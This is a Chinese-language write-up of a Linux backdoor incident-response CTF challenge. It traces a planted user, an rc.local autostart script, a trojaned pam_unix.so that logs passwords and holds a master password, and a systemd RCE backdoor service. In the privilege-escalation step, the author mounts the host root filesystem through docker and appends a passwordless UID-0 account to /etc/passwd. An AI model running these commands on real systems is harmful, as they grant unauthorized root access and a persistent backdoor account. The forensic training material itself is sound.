Linux后门应急
1、主机后门用户名称:提交格式如:flag
第一步使用命令
cat /etc/passwd
查看用户信息,看到一个可疑用户
提交flag
flag{backdoor}
2、主机排查项中可以发现到flag{}内以i开头的flag,如flag
题目提示主机排查项,故而使用命令,查看进程
ps -ef
命令大意为使用完整格式查看本机所有进程
flag{infoFl4g}
3、主机排查发现9999端口是通过哪个配置文件如何开机启动的,如/etc/crontab则填写/etc/crontab 的md5 ,提交方式示例:flag
题目中说明了配置文件是开机自启
而linux的开机自启动文件路径一般配置在
/etc/rc.d/rc.local
或/etc/rc.local
中
或者是在/etc/init.d 目录下添加自启动脚本
在rc.local文件中看到使用base64加密的文件,解密后看到脚本
flag{cf8a978fe83579e2e20ec158524d8c06}
同理:
/etc/systemd/system 查看自启动服务的相关配置文件
打开 rc-local.service,发现执行了 /etc/rc.d/rc.local 文件
4、黑客3s做了记录所有用户的每次登陆的密码的手段,flag为黑客记录的登陆密码日志路径md5,提交方式示例:flag
因为记录了所有用户登录的手段
进入/usr/lib/x86 64-linux-gnu/security
pam_unix.so
: 最经典的模块,用于传统的 Unix 密码验证。pam_deny.so
: 总是拒绝访问的模块。pam_permit.so
: 总是允许访问的模块。pam_cracklib.so
: 用于检查密码强度的模块。pam_ldap.so
: 用于通过 LDAP 服务器进行身份验证。pam_tally2.so
: 用于统计登录失败次数,防止暴力破解。pam_mount.so
: 可以在登录时自动挂载加密的家目录或磁盘
进入目录后ls查看文件可以看到有几个文件修改日期与其他文件不同,尤其是pam_unix.so
将文件传输到本地查看
使用ida打开文件,搜索字符串password
点击,ctrl+e查看引用看到路径
flag{8997d5a1b8dcca5a4be75962250959f7}
5、给出使用了/bin/bash 的RCE后门进程名称+端口号 如进程名称为sshd,端口号为22,则flag
因为提示为后门进程,故逐一排查systemctl启动配置文件存放位置
/etc/systemd/system
/usr/lib/systemd/system
/lib/systemd/system
cd /etc/systemd/system
ls
在 /etc/systemd/system发现可疑文件docker-compose-app.service
cat docker-compose-app.service
看到执行了一个shell文件
转到目录查看
cd /usr/lib/python3.7/site-packages/docker
ls -la
cat startup.sh
看到使用base64加密的内容
解码后看到文件内容,使用到了8080端口
netstat -tunlp
查看网络连接找到8080端口的服务
flag{python8080}
6、找出开机启动的后门服务名称MD5,提交flag
服务即为上题找到的那个
flag{5213e47de16522f1dc3f9e9ecc0ab8b0}
7、渗透提权获得root目录下的flag
此时需要我们查看root目录下的flag
但是使用命令查找后,发现我们所登录的用户并没有权限
查看大佬博客学到的思路
因为此时这台主机中有docker服务,使用docker挂载目录提权
docker run --name shell -v /:/n0o0b -it nginx:1 bash
docker run --name shell -v /:/n0o0b -it nginx:1 bashdocker run --name shell创建一个新的容器,并命名为shell-v /:/n0o0b将宿主机的根目录 / 挂载到容器内的 /n0o0b 目录-it-i:保持标准输入打开-t:分配伪终端后面两个分别为使用镜像与启动
打开shell后进入n0o0b目录
cd n0o0b
cat root/flag
flag{ATMB root}
在操作完成后使用命令创建一个拥有root权限的用户
echo "n0o0b::0:0::/root:/bin/bash" >> /n0o0b/etc/passwd
su n0o0b
这样后续如果再需要root命令才能查看的文件或操作时直接使用n0o0b用户即可
8、黑客3s埋了一个flag在权限维持过程中的地方,可以发现flag{}括号内的首字母是c开头,如flag
这个题一个偷懒的做法,因为我们已经有了root权限的用户,直接搜索(在普通用户无法查到)
但是问题是我们如何确认查找范围
在前期的工作中,注意到pam_unix.so的修改日期为9.24
使用命令查照在修改日期内的文件
find / -type f -newermt '2024-09-24 01:30:00' ! -newermt '2024-09-24 23:31:00' 2>/dev/null|grep -v docker
找到后直接提交
flag{cr0nt4b_IRfind}
9、黑客3s做了一个root用户执行cat命令就删除文件的操作,请发现删除了什么文件将文件名作为flag提交
已知执行cat命令就删除文件,追踪一下/bin/cat也能看出链接了Nomal.so
(其实也是环境变量劫持,使用env命令查看环境变量也可以)
追踪
strace -f -e trace=file /bin/cat
命令大意:
跟踪 cat 命令执行过程中所有与文件相关的系统调用,包括其创建的任何子进程
将文件传回本地后使用ida打开
flag{.bash_history}
10、黑客3s很执着清理痕迹,并做了一个持续删痕迹的手段,请发现手段并给出删除的完整黑客删除命令的md5,如flag
根据上题
flag{b0f531b39d88d4f603fc89bd4dd2c0aa}
11、黑客3s设置了一个万能密码后门使得这一个万能密码可以以所有用户身份登陆,也不影响原来密码使用。请发现这个万能密码,提交flag格式为flag
依旧是登录的问题,设置了万能密码想到的是 openssh 替换或者 pam 替换
继续查看刚刚传输的pam_unix.so文件
可以看到一个对比函数,可能是密码,提交一下
(忘了截图,借用一下之前的图)
flag{ATMB6666}